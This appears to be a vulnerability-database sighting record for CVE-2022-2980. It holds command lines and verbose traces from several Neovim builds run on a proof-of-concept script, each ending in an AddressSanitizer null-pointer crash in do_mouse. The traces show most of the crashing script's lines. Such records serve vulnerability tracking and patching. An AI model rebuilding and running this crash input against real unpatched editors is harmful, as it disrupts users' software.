{"uuid": "d07b9792-4791-4164-b7de-9ef460cd06ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2980", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/8abee5d7d62d8dcacc7d233fbaaa3d0a", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: tabnew\n\nline 1: unlet! b:keymap_name\n\nline 2: se mouse=a\n\nline 3: fu C00000xpr()\n\nline 6: nn&lt; C00000xpr()\n\nline 7: norm&lt;\n\ncalling C00000xpr()\n\nline 1: retu\"\\\"\n\nC00000xpr returning '&lt;80&gt;,'\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980/CVE-2022-2980\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==11414==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x0000008d0bb7 bp 0x7ffca9397bb0 sp 0x7ffca9397960 T0)\n==11414==The signal is caused by a READ memory access.\n==11414==Hint: address points to the zero page.\n    #0 0x8d0bb7 in do_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1747:43\n    #1 0x8ea965 in nv_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3442:9\n    #2 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #3 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #4 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #5 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #6 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #7 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #8 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #9 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #10 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #11 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #12 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #13 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #15 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #16 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #17 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #18 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #19 0x7f7a1c520082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1747:43 in do_mouse\n==11414==ABORTING\n\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:&gt;] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: tabnew\n\nline 1: unlet! b:keymap_name\n\nline 2: se mouse=a\n\nline 3: fu C00000xpr()\n\nline 6: nn&lt; C00000xpr()\n\nline 7: norm&lt;\n\ncalling function C00000xpr()\n\nline 1: retu\"\\\"\n\nfunction C00000xpr returning '&lt;80&gt;,'\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980/CVE-2022-2980\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==11673==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x000000c510f6 bp 0x7ffdf7053720 sp 0x7ffdf7052860 T0)\n==11673==The signal is caused by a READ memory access.\n==11673==Hint: address points to the zero page.\n    #0 0xc510f6 in do_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1713:43\n    #1 0xc8cb6a in nv_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3476:9\n    #2 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #3 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #4 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #5 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #6 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #7 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #8 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #9 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #10 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #11 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #12 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #15 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #16 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #17 0x7f835966e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #18 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1713:43 in do_mouse\n==11673==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: tabnew\n\nline 1: unlet! b:keymap_name\n\nline 2: se mouse=a\n\nline 3: fu C00000xpr()\n\nline 6: nn&lt; C00000xpr()\n\nline 7: norm&lt;\n\ncalling function C00000xpr()\n\nline 1: retu\"\\\"\n\nfunction C00000xpr returning '&lt;80&gt;,'\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2980/CVE-2022-2980\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==11515==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x000000a6110a bp 0x7ffc0e647870 sp 0x7ffc0e646a40 T0)\n==11515==The signal is caused by a READ memory access.\n==11515==Hint: address points to the zero page.\n    #0 0xa6110a in do_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2385:43\n    #1 0xa99d5a in nv_mouse /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4022:9\n    #2 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #3 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #4 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #5 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #6 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #7 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #8 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #9 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #10 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #11 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #15 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #16 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n^[[A    #17 0x7f1453791082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #18 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2385:43 in do_mouse\n==11515==ABORTING", "creation_timestamp": "2026-09-20T02:40:29.285866Z"}